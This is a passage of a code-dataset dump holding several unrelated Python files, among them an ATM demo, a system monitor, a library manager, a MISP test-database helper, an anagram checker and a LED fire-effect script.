FAILURE\")\n\n test_bank = Woori()\n card_num = 20180821\n test_bank.new_card(card_num, 1234, \"stipend\", 20000)\n test_bank.new_acc(card_num, \"savings\", 15000)\n test_atm = Controller(test_bank, 10000)\n\n #while True:\n pin = int(input(\"\\n Please Enter Your account pin: \"))\n a, b = test_atm.insert_card(card_num, pin)\n while a == 0:\n pin = int(input(\"\\nInvalid Pin.. Re-enter your Pin please: \"))\n a, b = test_atm.insert_card(card_num, pin)\n print(\"\\nSelect Account:\")\n print(\"\\n1 - Savings \\t 2 - Stipend\")\n temp = int(input(\"\\nEnter your selection: \"))\n account= \"none\"\n if temp == 1:\n account = \"savings\"\n if temp == 2:\n account = \"stipend\"\n\n while True:\n print(\"\\n1 - Balance \\t 2 - Withdraw \\t 3 - Deposit \\t 4 - Quit \")\n selection = int(input(\"\\nEnter your selection: \"))\n if selection == 1:\n balance, void, void1 = test_atm.account_actions(card_num, account, \"See Balance\")\n print(\"Your Balance is: \" + str(balance) +\" KRW\")\n if selection==2:\n balance, void, void1 = test_atm.account_actions(card_num, account, \"See Balance\")\n print(\"Your Balance is: \" + str(balance)+\" KRW\")\n amt = int(input(\"\\nPlease Enter amount to withdraw: \"))\n balance, void, void1 = test_atm.account_actions(card_num, account, \"Withdraw\",amt)\n if void==0 and void1==2:\n print(\"Please enter a valid amount\")\n if void==0 and void1==1:\n print(\"There is not enough cash in the ATM\")\n balance, void, void1 = test_atm.account_actions(card_num, account, \"See Balance\")\n print(\"Your Balance is: \" + str(balance)+\" KRW\")\n if selection==3:\n amt = int(input(\"\\nEnter an amount to deposit: \"))\n test_atm.account_actions(card_num, account, \"Deposit\", amt)\n balance, void, void1 = test_atm.account_actions(card_num, account, \"See Balance\")\n print(\"Your Balance is: \" + str(balance)+\" KRW\")\n if selection == 4:\n flag = input(\"Are you sure you want to quit?, Yes, or No:\")\n if flag.lower() == \"yes\":\n print(\"\\nYour Transaction is complete\")\n print(\"Transaction number: \", random.randint\n (10000, 1000000))\n print(\"Thanks for choosing us as your bank\")\n break\n","repo_name":"abbasly/Simple_ATM_Controller","sub_path":"atmCont.py","file_name":"atmCont.py","file_ext":"py","file_size_in_byte":8014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32513987778","text":"# Exercise Question 1: Create a Vehicle class with name of vehicle,\n# max_speed and mileage instance attributes\n\nclass Vehicle:\n def __init__(self,name, max_speed, mileage):\n self.name=name\n self.max_speed = max_speed\n self.mileage = mileage\n\nvehicle1 = Vehicle(\"Volvo\",240, 18)\nprint(vehicle1.max_speed, vehicle1.mileage)","repo_name":"QAMilestoneAcademy/python_basic","sub_path":"Class20-21-22-23-24-objectoriented/Excercise_ObjectOriented/excercise_1.py","file_name":"excercise_1.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31295778241","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nfrom collections import OrderedDict\nimport pprint\nimport sys, time\n\ndef CPUinfo():\n ''' Return the information in /proc/CPUinfo\n as a dictionary in the following format:\n CPU_info['proc0']={...}\n CPU_info['proc1']={...}\n '''\n CPUinfo=OrderedDict()\n procinfo=OrderedDict()\n\n nprocs = 0\n with open('/proc/cpuinfo') as f:\n for line in f:\n if not line.strip():\n # end of one processor\n CPUinfo['proc%s' % nprocs] = procinfo\n nprocs=nprocs+1\n # Reset\n procinfo=OrderedDict()\n else:\n if len(line.split(':')) == 2:\n procinfo[line.split(':')[0].strip()] = line.split(':')[1].strip()\n else:\n procinfo[line.split(':')[0].strip()] = ''\n\n return CPUinfo\n\n\ndef load_stat():\n loadavg = {}\n f = open(\"/proc/loadavg\")\n con = f.read().split()\n f.close()\n loadavg['lavg_1']=con[0]\n loadavg['lavg_5']=con[1]\n loadavg['lavg_15']=con[2]\n loadavg['nr']=con[3]\n loadavg['last_pid']=con[4]\n return loadavg\n\ndef meminfo():\n ''' Return the information in /proc/meminfo\n as a dictionary '''\n meminfo=OrderedDict()\n\n with open('/proc/meminfo') as f:\n for line in f:\n meminfo[line.split(':')[0]] = line.split(':')[1].strip()\n return meminfo\n\ndef rx(STATS):\n ifstat = open('/proc/net/dev').readlines()\n for interface in ifstat:\n if INTERFACE in interface:\n stat = float(interface.split()[1])\n STATS[0:] = [stat]\n\ndef tx(STATS):\n ifstat = open('/proc/net/dev').readlines()\n for interface in ifstat:\n if INTERFACE in interface:\n stat = float(interface.split()[9])\n STATS[1:] = [stat]\n\n\n\n\nif __name__=='__main__':\n\n if len(sys.argv) > 1:\n INTERFACE = sys.argv[1]\n else:\n INTERFACE = 'eth0'\n STATS = []\n print ('Interface:',INTERFACE)\n\n print ('In Out')\n rx(STATS)\n tx(STATS)\n\n while True:\n time.sleep(1)\n rxstat_o = list(STATS)\n rx(STATS)\n tx(STATS)\n RX = float(STATS[0])\n RX_O = rxstat_o[0]\n TX = float(STATS[1])\n TX_O = rxstat_o[1]\n RX_RATE = round((RX - RX_O)/1024/1024,3)\n TX_RATE = round((TX - TX_O)/1024/1024,3)\n\n print(RX_RATE ,'MB ',TX_RATE ,'MB')\n CPUinfo = CPUinfo()\n for processor in CPUinfo.keys():\n print(CPUinfo[processor]['model name'])\n\n print(\"loadavg: \", load_stat()['lavg_15'])\n\n meminfo = meminfo()\n print('Total memory: {0}'.format(meminfo['MemTotal']))\n print('Free memory: {0}'.format(meminfo['MemFree']))\n","repo_name":"dycforever/program","sub_path":"python_prog/monitors.py","file_name":"monitors.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13022799229","text":"from extensions.ops.interpolate import Interpolate\nfrom mo.front.common.partial_infer.utils import int64_array\nfrom mo.front.extractor import FrontExtractorOp\n\n\nclass ResizeBilinearFrontExtractor(FrontExtractorOp):\n op = 'ResizeBilinear'\n enabled = True\n\n @classmethod\n def extract(cls, node):\n mapping_rule = {\n 'pads_begin': 0,\n 'pads_end': 0,\n 'align_corners': int(node.pb.attr['align_corners'].b),\n 'mode': 'linear',\n 'axes': int64_array([1, 2]),\n }\n Interpolate.update_node_stat(node, mapping_rule)\n return cls.enabled\n","repo_name":"Namptiter/OpenVINO-Darknet-YOLOv3","sub_path":"model_optimizer/extensions/front/tf/resize_bilinear.py","file_name":"resize_bilinear.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"30990565526","text":"import json\nimport os\nimport sys\nfrom classes.Library import *\n\n\ndef add_book(libr):\n author = input(\"Enter the author's name: \")\n title = input(\"Enter the book's title: \")\n num_of_pages = int(input(\"Enter the number of pages: \"))\n res = libr.add_new_book({\"author\": author, \"title\": title,\n \"num_of_pages\": num_of_pages})\n print(f\"The book was {'' if res else 'not'} added\")\n\n\ndef delete_book(libr):\n title = input(\"Enter the book's title: \")\n res = libr.delete_book(title)\n print(f\"The book was {'' if res else 'not'} deleted\")\n\n\ndef switch_book(libr):\n title1 = input(\"Enter the first book's title: \")\n title2 = input(\"Enter the second book's title: \")\n res = libr.change_locations(title1, title2)\n print(f\"The books were {'' if res else 'not'} switched\")\n\n\ndef add_reader(libr):\n id = input(\"Enter the reader's id: \")\n name = input(\"Enter the reader's name: \")\n libr.register_reader(id, name)\n print(\"The reader was registered\")\n\n\ndef remove_reader(libr):\n name = input(\"Enter the reader's name: \")\n res = libr.remove_reader(name)\n print(f\"The reader was {'' if res else 'not'} deleted\")\n\n\ndef search_author(libr):\n name = input(\"Enter the author's name: \")\n results = libr.search_by_author(name)\n print(results)\n\n\ndef read_book(libr):\n title = input(\"Enter the book's title: \")\n name = input(\"Enter the reader's name: \")\n res = libr.reader_read_book(title, name)\n print(\n f\"The book was {'' if res else 'not'} added to the reader's read list\")\n\n\ndef sort_books(libr):\n libr.order_books()\n print(\"The books were sorted\")\n\n\ndef save_data(libr):\n with open('data.json', 'w') as f:\n obj = {\"shelves\": [], \"readers\": []}\n for shelf in libr.shelves:\n sh = {}\n sh[\"is_shelf_full\"] = shelf.is_shelf_full\n sh[\"books\"] = [book.__dict__ for book in shelf.books]\n obj[\"shelves\"].append(sh)\n for reader in libr.readers:\n rdr = {}\n rdr[\"id\"] = reader.id\n rdr[\"name\"] = reader.name\n rdr[\"books\"] = reader.books\n obj[\"readers\"].append(rdr)\n json.dump(obj, f, indent=4)\n print(\"The data was saved\")\n\n\ndef load_data():\n with open(os.path.join(sys.path[0], \"data.json\"), \"r\") as f:\n data = json.load(f)\n # print(data)\n\n libr = Library()\n for i, shelf in enumerate(data[\"shelves\"]):\n libr.shelves[i].is_shelf_full = shelf[\"is_shelf_full\"]\n libr.shelves[i].books = []\n for book in shelf[\"books\"]:\n libr.shelves[i].add_book(book)\n for reader in data[\"readers\"]:\n libr.register_reader(reader[\"id\"], reader[\"name\"])\n for i, book in enumerate(reader[\"books\"]):\n libr.reader_read_book(\n reader[\"books\"][i][\"title\"], reader[\"name\"])\n print(\"The data was loaded\")\n return libr\n","repo_name":"s-e1/LibraryProject","sub_path":"utilities/input_functions.py","file_name":"input_functions.py","file_ext":"py","file_size_in_byte":2954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32067151942","text":"class Local:\n # Atributos de la clase\n calle = \"\"\n numero = 0\n color = \"\"\n\n # Constructor de la clase\n def __init__(self, calle, numero, color):\n self.calle = calle\n self.numero = numero\n self.color = color\n\n# Preguntar al usuario si desea crear un local\ncrear_local = input(\"¿Desea crear un nuevo local? (s/n)\")\n\n# Si el usuario responde \"s\", pedir los datos para crear el local\nif crear_local == \"s\":\n calle = input(\"Ingrese la calle del local: \")\n numero = int(input(\"Ingrese el número del local: \"))\n color = input(\"Ingrese el color del local: \")\n \n # Crear una nueva instancia de la clase Local con los datos ingresados\n local_1 = Local(calle, numero, color)\n print(\"El local se ha creado exitosamente.\")\nelse:\n print(\"No se ha creado ningún local.\")\n","repo_name":"Lucasdipa04/Tp-algortmos2","sub_path":"class-chatgpt.py","file_name":"class-chatgpt.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"19309732886","text":"import os\nimport pickle\nfrom registro_c import *\nDEPORTE = 'Natacion', 'Basquet', 'Karate', 'Futbol', 'Patin' \n\n\ndef menu():\n print('')\n print('1.')\n print('2.')\n print('3.')\n print('4.')\n print('')\n return int(input('Ingrese una opcion: '))\n\n\ndef obtener_vector(fd):\n if not os.path.exists(fd):\n print('No existe el archivo!')\n return\n \n vec_socios = []\n m = open( fd, 'rb')\n while m.tell() < os.path.getsize(fd):\n vec_socios.append(pickle.load(m)) \n m.close()\n \n return vec_socios\n \n\ndef mostrar_vector(v):\n for socio in v:\n print(socio)\n\n\ndef buscar_socio(v, socio, deporte):\n for i in range(len(v)):\n if v[i].socio == socio and v[i].deporte == deporte:\n return i\n return -1\n\n\ndef generar_morosos(v,fd): \n m = open(fd, 'wt')\n for socio in v:\n if socio.dia == 0:\n m.write(socio.a_csv() + \"\\n\")\n m.close()\n\ndef modificar_agregar_socio(v, i, socio, deporte): \n dia = int(input('Ingrese el dia: '))\n pago = int(input('Ingrese el valor de pago: '))\n if i != -1:\n v[i].dia = dia\n v[i].pago = pago\n return 'Se modifico el dia a ' + str(dia) + ' y el valor de pago a ' + str(pago)\n \n else:\n posicion = DEPORTE.index(deporte)\n v.append(Cuota(socio,posicion,dia,pago))\n return 'Se agrego un nuevo socio al registro'\n\n\ndef determinar_total_por_deporte(v):\n vec_acum = 5*[0]\n \n for socio in v:\n vec_acum[socio.deporte] += socio.valor_cuota\n\n print('\\nEl total por deporte es: ')\n for i in range(len(vec_acum)):\n print(DEPORTE[i] + ': $' + str(vec_acum[i]))\n\n\ndef determinar_participante_por_deporte(v):\n vec_cont = 5*[0]\n \n for socio in v:\n vec_cont[socio.deporte] += 1\n \n mayor = max(vec_cont)\n indice = vec_cont.index(mayor)\n \n print('El deporte con mas participantes es', DEPORTE[indice], 'con', mayor, 'participantes')\n\n\ndef grabar_vector(vec, fd):\n\n m = open(fd, 'wb')\n for registro in vec:\n pickle.dump(registro, m)\n m.close\n \n \n\ndef principal():\n while True:\n op = menu()\n \n if op == 1:\n vec = obtener_vector('cuotas.dat')\n mostrar_vector(vec)\n \n elif op == 2:\n socio = int(input('Ingrese el socio a buscar:'))\n deporte = input('Ingrese el deporte a buscar:')\n indice = buscar_socio(vec, socio, deporte)\n respuesta = modificar_agregar_socio(vec, indice, socio, deporte)\n print(respuesta)\n \n elif op == 3:\n generar_morosos(vec, 'morosos.csv')\n print('Se genero un documento con los morosos!')\n elif op == 4:\n determinar_total_por_deporte(vec)\n determinar_participante_por_deporte(vec)\n elif op == 5:\n grabar_vector(vec, 'cuotas.dat')\n print('Se guardaron los cambios en cuotas.dat')\n \n\n\nif __name__ == '__main__':\n principal()","repo_name":"franAndrad/python-src","sub_path":"clases/f23_e6/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3030,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"20058214536","text":"class Node:\n def __init__(self, val=None):\n self.next = None\n self.val = val\n\n#This insert function cuts off the list and needs to be fixed\ndef insert(value, head, index):\n cur = head\n for i in range(index):\n cur = cur.next\n cur.next = Node(value)\n\ndef print_list(head):\n cur = head\n while cur != None:\n cur = cur.next\n if cur != None:\n print(cur.val)\n print(\"End of list.\\n\")\n\n#Build a simple list\nhead = Node()\ncur = head\n\nfor i in range(5):\n cur.next = Node()\n cur = cur.next\n cur.val = i\n\nprint_list(head)\ninsert(\"Hi!\", head, 3)\n\n#This should print 0, 1, 2, Hi!, 3, 4, End of list. but our insert\n#cuts off the tail of the list\nprint_list(head)","repo_name":"franceslinyc/Data-Structures-2023","sub_path":"Module 4 - Linked Lists, Stacks, Queues, and Deques/01 Exploration: Introduction to Linked Lists/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32893584601","text":"from framework import (\n httpHandlerDecorator,\n HttpClient,\n LoggerInstance,\n ok,\n)\nfrom models import TenancyCollection, CritterTenancy, Critter, Tenancy\nfrom util import (\n getEmailFromPathParams,\n getInternalApi,\n dictWithoutKey,\n joinUrl,\n modelToDict,\n)\nimport json\nfrom typing import List\n\n\ndef getPet(\n email: str, petName: str, httpClient: HttpClient, logger: LoggerInstance\n) -> dict:\n (internalApiUrl, internalApiKey) = getInternalApi()\n petUrl = joinUrl(internalApiUrl, \"critter\", email, petName)\n (responseOk, statusCode, data) = httpClient.get(\n petUrl, None, {\"x-api-key\": internalApiKey}\n )\n if not responseOk:\n raise Exception(\n f\"Failure ({statusCode}) at retrieving pet {petName} from user {email}\"\n )\n critter = Critter(**data)\n return critter\n\n\ndef updatePetTenancy(\n email: str,\n petData: Critter,\n tenancy: CritterTenancy,\n httpClient: HttpClient,\n logger: LoggerInstance,\n):\n (internalApiUrl, internalApiKey) = getInternalApi()\n petUrl = joinUrl(internalApiUrl, \"critter\", email, petData.petName)\n tenancy = Tenancy(tenancy.checkInDate, tenancy.checkOutDate)\n if petData.futureTenancy == None:\n petData.futureTenancy = []\n petData.futureTenancy.append(tenancy)\n petUpdatePayload = dictWithoutKey(modelToDict(petData), \"petName\", \"email\")\n (responseOk, statusCode, data) = httpClient.put(\n petUrl,\n petUpdatePayload,\n {\"x-api-key\": internalApiKey},\n )\n if not responseOk:\n # todo: create OutboundHttpException in framework so we can have standard in dealing with these\n errorMsg: str | None = (\n f\"Oubound pet update error: {data.get('errorMessage')}\"\n if data != None\n else None\n )\n raise Exception(\n errorMsg\n or f\"Failure ({statusCode}) at retrieving pet {petData.petName} from user {email}\"\n )\n addedCritterTenancy = CritterTenancy(petName=petData.petName, **tenancy.__dict__)\n return addedCritterTenancy\n\n\ndef handlerRaw(\n event, context, logger: LoggerInstance, httpClient: HttpClient, **kwargs\n):\n userEmail = getEmailFromPathParams(event)\n logger.addCtxItem(\"email\", userEmail)\n payload = event[\"body\"]\n if isinstance(payload, str):\n logger.info(f\"Received payload of type str, deserialzing\")\n payload = json.loads(payload)\n registry = TenancyCollection(\n critters=[CritterTenancy(**critter) for critter in payload.get(\"critters\")]\n ) # validation purposes\n petTenancies = registry.critters\n createdTenancies = TenancyCollection([], 0)\n for petTenancy in petTenancies:\n currentPetLogger = logger.branch(\"petIteratorForTenacyRegistry\")\n currentPetLogger.addCtxItem(\"petName\", petTenancy.petName)\n currentPetLogger.info(\n f\"Registering future tenancy for pet {petTenancy.petName}({userEmail}), from {petTenancy.checkInDate} to {petTenancy.checkOutDate}\"\n )\n petData = getPet(\n userEmail,\n petTenancy.petName,\n httpClient,\n currentPetLogger.branch(\"getPetForTenancyRegistry\"),\n )\n createdTenacy = updatePetTenancy(\n userEmail,\n petData,\n petTenancy,\n httpClient,\n currentPetLogger.branch(\"updatePetForTenancyRegistry\"),\n )\n currentPetLogger.info(\n f\"Registered future tenancy with id {createdTenacy.tenancyId} for pet {petTenancy.petName}({userEmail}), from {petTenancy.checkInDate} to {petTenancy.checkOutDate}\"\n )\n createdTenancies.critters.append(createdTenacy)\n createdTenancies.count = len(createdTenancies.critters)\n logger.info(f\"Added {len(createdTenancies.count)} tenancies\")\n return ok(modelToDict(createdTenancies))\n\n\nhandler = httpHandlerDecorator(handlerRaw)\n","repo_name":"UltimateForm/lovelycritters","sub_path":"client/tenancy/register/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6355559071","text":"import numpy as np\nimport torch \nfrom tqdm import tqdm\nimport sys\n\nsys.path.append(\"../../..\") # MDCode -> resources -> PhD\n\nfrom MLMD.resources.MDCode.Gupta_PyTorch import GuptaTorch\nfrom MLMD.resources.MDCode.Gupta_PyTorch import AtomType as GuptaParamsDict\nfrom MLMD.resources.MDCode.intengrators import VerletVelocity_Torch\nfrom MLMD.resources.MDCode.intengrators import readxyz\n\n\n\n# ----------- Initialize PyTorch ----------------\ndtype = torch.double\ntorch.set_default_dtype(dtype)\nuse_gpu = torch.cuda.is_available() #else \"cpu\"\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nif use_gpu:\n torch.set_default_tensor_type(torch.cuda.DoubleTensor)\n print(torch.cuda.device_count())\n print(torch.cuda.is_available())\nelse:\n torch.set_default_tensor_type(torch.DoubleTensor)\n# device = torch.device(\"cuda:0\") # Uncomment torch.s to run on GPU\nprint('Using device:',device)\n# ------------------------------------------------\n\n##########################################################################\n#! Main Program\n##########################################################################\n\n# Initial coordinates\nn_atms, AtmTyp, X0 = readxyz(\"coord_ini.xyz\")#Au55-ICO-ang.equil.ase.xyz\")\n# initial velocities\nn_atms, AtmTyp, V0 = readxyz(\"vel_ini.xyz\")\nV0 = torch.zeros_like(X0)\nprint(\"Coords and velocities read.\")\nprint(\"Number of atoms:\", n_atms)\n\n# *** Read input file ***\nparamsMD = open(\"input_parameters.dat\", 'r')\nline = paramsMD.readline()\n#dt(fs) Npas M_esc beta gamma0\ndt, Npas, N_esc, beta, gamma0 = list(map(float, paramsMD.readline().split()))\n_ = paramsMD.readline()\nline = paramsMD.readline().split()\n#coord velocidad distancias promedios; 1=Si,0=No \nENTRADA=[int(i) for i in line]\n# Energy and force units\n_ = paramsMD.readline()\nline = paramsMD.readline().split()\nunits = [int(i) for i in line]\n\n\n#! ------- Inicializa las variables ------\n#! *** Re-escala las coordenadas ***\nX0 *= gamma0\n#! *** Vf=beta*Vi -> Tf=beta^2 *Ti ***\nV0 *= beta #Ang/fs\n\nX0 = X0.view(-1, 3)\nV0 = V0.view(-1, 3)\n\nVV_integrator = VerletVelocity_Torch(AtmTyp, n_atms, dt=dt, units='eV')\n\nstatus = VV_integrator.Main_evolution_function(X0, V0, AtmTyp)\n\nprint(status)","repo_name":"ludwigwinkler/MLMD","sub_path":"Resources/MDCode/DinMol_PyTorch_v44_111020.py","file_name":"DinMol_PyTorch_v44_111020.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"17372956935","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nread/write misp database for testing purpose\n(Easier to directly user mysql)\n\"\"\"\nfrom configuration import Configuration\n\nimport random, os, sys\nimport shlex\nimport subprocess\n\nclass DatabaseHelper:\n # mysql import\n from sqlalchemy.ext.automap import automap_base\n from sqlalchemy import create_engine\n from sqlalchemy.schema import MetaData\n # connection\n def __init__(self):\n conf = Configuration()\n Base = automap_base()\n engine = create_engine('mysql://{}:{}@{}/{}'.format(conf['mysql']['user'], conf['mysql']['password'], conf['mysql']['host'], conf['mysql']['dbname']))\n\n Base.prepare(engine, reflect=True)\n metadata = MetaData()\n metadata.reflect(bind=engine)\n self.conn = engine.connect()\n \t\n # close database\n def closedb(self):\n self.conn.close()\n\n # rename de db, create one for test\n def saveAttr(self):\n self.conn.execute(\"RENAME TABLE attributes TO saved_attributes\")\n self.conn.execute(\"CREATE TABLE attributes LIKE saved_attributes\")\n # for safety:\n self.conn.execute(\"INSERT INTO attributes (uuid, event_id, sharing_group_id, category, type, to_ids, value1, value2, comment) values('removable', 0, 0, 'external analysis', 'test', 0, 'removable', '', 'Testing table that can be removed')\")\n\n # delete attributes and rename saved_attributes to attributes\n def restoreAttr(self):\n c = \"SELECT value1 FROM attributes where attributes.type='test'\" \n for val in self.conn.execute(c):\n if val[0] == 'removable':\n self.conn.execute(\"DROP TABLE attributes\")\n self.conn.execute(\"RENAME TABLE saved_attributes TO attributes\")\n\n # add a random ip\n def addRandomIP(self):\n uuid = \"select count(*) from attributes;\"\n for val in self.conn.execute(uuid):\n uuid = val[0]\n self.conn.execute(\"INSERT INTO attributes (uuid, event_id, sharing_group_id, category, type, to_ids, value1, value2, comment) values('\"+str(uuid+1)+\"', 0, 0, 'external analysis', 'ip-dst', 1, '\" + randIPv4() + \"', '', 'Testing: Random IP for testbench :)')\")\n\n def addNRandomIP(self, N):\n for i in range(N):\n self.addRandomIP()\n\n\n\n#################\n# IP Generation #\n#################\ndef createNRandomIP(N):\n IPs = []\n i = 0\n while i < N:\n ip = randIPv4192168()\n if ip not in IPs:\n IPs.append(ip)\n i += 1\n else:\n print(\"Oups pas de bol %d\" % N)\n return IPs\n\ndef createNRandomIPRes(N):\n print(\"AIOUIEGFUYFIEZVGDIOHVJGAEHIHVGCVHIHVCGVHIV\" +str(N))\n if N > 20*256/2:\n print(\"N exceeds the maximum value\")\n sys.exit(1)\n\n # remove misp_events.csv\n if os.path.exists('../res/misp_events.csv'):\n os.remove('../res/misp_events.csv')\n\n header = 'uuid,event_id,category,type,value,comment,to_ids,date'\n CSV = [header]\n IPs = createNRandomIP(N)\n for i,IP in enumerate(IPs):\n CSV.append(str(i+1) + ',' + str(i+1) + ',test,ip-dst,' + IP + ',comment,1,20170516')\n\n with open('../res/misp_events.csv', 'w') as f:\n f.write('\\n'.join(CSV))\n\ndef randStr():\n return str(round(random.uniform(0,255)))\n\ndef randStr10():\n return str(round(random.uniform(0,9)))\n\ndef randIPv4():\n return randStr() + '.' + randStr() + '.' + randStr() + '.' + randStr()\n\ndef randIPv4192168():\n return '192.168.' + randStr10() + '.' + randStr()\n\n###############\n# Run helpers #\n###############\ndef create_rules():\n command = \"./readMisp.py --misp res -v\"\n args = shlex.split(command)\n subprocess.call(args)\n\ndef bruteforceIP():\n command = './matchRules.py --input rangeip'\n args = shlex.split(command)\n subprocess.call(args)\n","repo_name":"charly077/MISP-privacy-aware-sharing-master-thesis","sub_path":"privacy_sharing/src/benchmark/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":3865,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"72940625708","text":"import re\n\nstr = \"Natural-language processing (NLP) is an area of computer science and artificial intelligence concerned with the interactions between computers and human (natural) languages.\"\n\ndef generate_ngrams(s, n):\n # Convert to lowercases\n s = s.lower()\n \n # Replace all none alphanumeric characters with spaces\n s = re.sub(r'[^a-zA-Z0-9\\s]', ' ', s)\n \n # Break sentence in the token, remove empty tokens\n tokens = [token for token in s.split(\" \") if token != \"\"]\n \n # Use the zip function to help us generate n-grams\n # Concatentate the tokens into ngrams and return\n ngrams = zip(*[tokens[i:] for i in range(n)])\n return [\" \".join(ngram) for ngram in ngrams]\n\ngrams2 = generate_ngrams(str, 2)\nprint(\"Generated 2-grams:\")\nprint(grams2)\nprint(\"--------------------------\")\n\ngrams5 = generate_ngrams(str, 5)\nprint(\"Generated 5-grams:\")\nprint(grams5)\n\n\n","repo_name":"amitranjan02/myprojects","sub_path":"nlp-week2-hour3-files-0221/nlp-week2-hour3-files/generate-ngrams.py","file_name":"generate-ngrams.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22110200432","text":"\"\"\"\n IS ANAGRAM (50CIQ 14: ANAGRAMS)\n\n Write a function, which accepts two strings, and returns True if they are anagrams, False otherwise.\n\n Example:\n Input = 'creative', 'reactive'\n Output = True\n\n Variations:\n - is_anagram_list.py\n\"\"\"\n\n\n# Questions to ask the interviewer:\n# - What type of text; ASCII, Unicode, etc.?\n# - Spaces?\n# - Capitalization?\n\n\n# APPROACH: Via Sort\n#\n# Sort the two strings and compare for equality.\n#\n# Time Complexity: O(n * log(n)), where n is the combined length of the two strings.\n# Space Complexity: O(n), where n is the combined length of the two strings.\ndef is_anagram_via_sort(s_1, s_2):\n if isinstance(s_1, str) and isinstance(s_2, str) and len(s_1) == len(s_2):\n return sorted(s_1.lower()) == sorted(s_2.lower())\n return False\n\n\n# APPROACH: Via Dictionary\n#\n# Use a dictionary to count the number of times characters were used in the strings.\n#\n# Time Complexity: O(n_1 + n_2), where n_1 and n_2 are the number of characters in the strings.\n# Space Complexity: O(max(u_1, u_2)), where u_1 and u_2 are the number of unique characters in the strings.\ndef is_anagram_via_dict(s_1, s_2):\n if isinstance(s_1, str) and isinstance(s_2, str) and len(s_1) == len(s_2):\n d = {}\n for c in s_1:\n k = c.lower()\n d[k] = d.setdefault(k, 0) + 1\n for c in s_2:\n k = c.lower()\n if k not in d:\n return False\n if d[k] > 1:\n d[k] -= 1\n else:\n d.pop(k)\n return len(d) == 0\n return False\n\n\nargs = [('', \"\"),\n (\"A\", \"A\"),\n (\"A\", \"a\"),\n (\"A\", \"B\"),\n (\"Ab\", \"Ba\"),\n (\"foo\", \"bar\"),\n (\"hello \", \"hello\"),\n ('dog', 'god'),\n ('creative', 'reactive'),\n (None, None)]\nfns = [is_anagram_via_sort,\n is_anagram_via_dict]\n\nfor s_1, s_2 in args:\n for fn in fns:\n print(f\"{fn.__name__}({s_1!r}, {s_2!r}): {fn(s_1, s_2)}\")\n print()\n\n\n","repo_name":"mpettersson/PythonReview","sub_path":"questions/string/is_anagram.py","file_name":"is_anagram.py","file_ext":"py","file_size_in_byte":2015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18266593773","text":"# =============================================================================\n# Create a fire effect. Multiple fires can be displayed at once.\n#\n# Most of this code is taken from this gist:\n# https://gist.github.com/tdicola/63768def5b2e4e3a942b085cd2264d7b\n#\n# ... which is described in this video:\n# https://www.youtube.com/watch?v=OJlYxnBLBbk\n#\n# All this example does is take the above code and make it work with neotiles\n# (as well as adding a feature or two, like being able to define the fire\n# base).\n# =============================================================================\n\nfrom __future__ import division\nimport random\nimport time\n\ntry:\n from neopixel import ws\n STRIP_TYPE = ws.WS2811_STRIP_GRB\nexcept ImportError:\n STRIP_TYPE = None\n\nfrom neotiles import MatrixSize, TileManager, PixelColor, Tile\nfrom neotiles.matrixes import NTNeoPixelMatrix, NTRGBMatrix\n\n\n# Matrix size. cols, rows.\nMATRIX_SIZE = MatrixSize(8, 8)\n\n# For a neopixel matrix.\nLED_PIN = 18\n\n# For an RGB matrix.\nCHAIN = 2\n\n\n# -----------------------------------------------------------------------------\n# Helper functions\n# -----------------------------------------------------------------------------\n\ndef hue2rgb(p, q, t):\n # Helper for the hsl2rgb function.\n # From: http://axonflux.com/handy-rgb-to-hsl-and-rgb-to-hsv-color-model-c\n if t < 0:\n t += 1\n if t > 1:\n t -= 1\n if t < 1/6:\n return p + (q - p) * 6 * t\n if t < 1/2:\n return q\n if t < 2/3:\n return p + (q - p) * (2/3 - t) * 6\n\n return p\n\n\ndef hsl2rgb(h, s, l):\n # Convert a hue, saturation, lightness color into red, green, blue color.\n # Expects incoming values in range 0...255 and outputs values in the same\n # range.\n # From: http://axonflux.com/handy-rgb-to-hsl-and-rgb-to-hsv-color-model-c\n h /= 255.0\n s /= 255.0\n l /= 255.0\n r = 0\n g = 0\n b = 0\n\n if s == 0:\n r = l\n g = l\n b = l\n else:\n q = l * (1 + s) if l < 0.5 else l + s - l * s\n p = 2 * l - q\n r = hue2rgb(p, q, h + 1/3)\n g = hue2rgb(p, q, h)\n b = hue2rgb(p, q, h - 1/3)\n\n return int(r*255.0), int(g*255.0), int(b*255.0), 0\n\n\n# -----------------------------------------------------------------------------\n\nclass FireMatrix(object):\n def __init__(self, width, height):\n self.width = width\n self.height = height\n self.data = [0]*(width*height)\n\n def get(self, x, y):\n x %= self.width # Wrap around when x values go outside the bounds!\n y %= self.height # Like-wise wrap around y 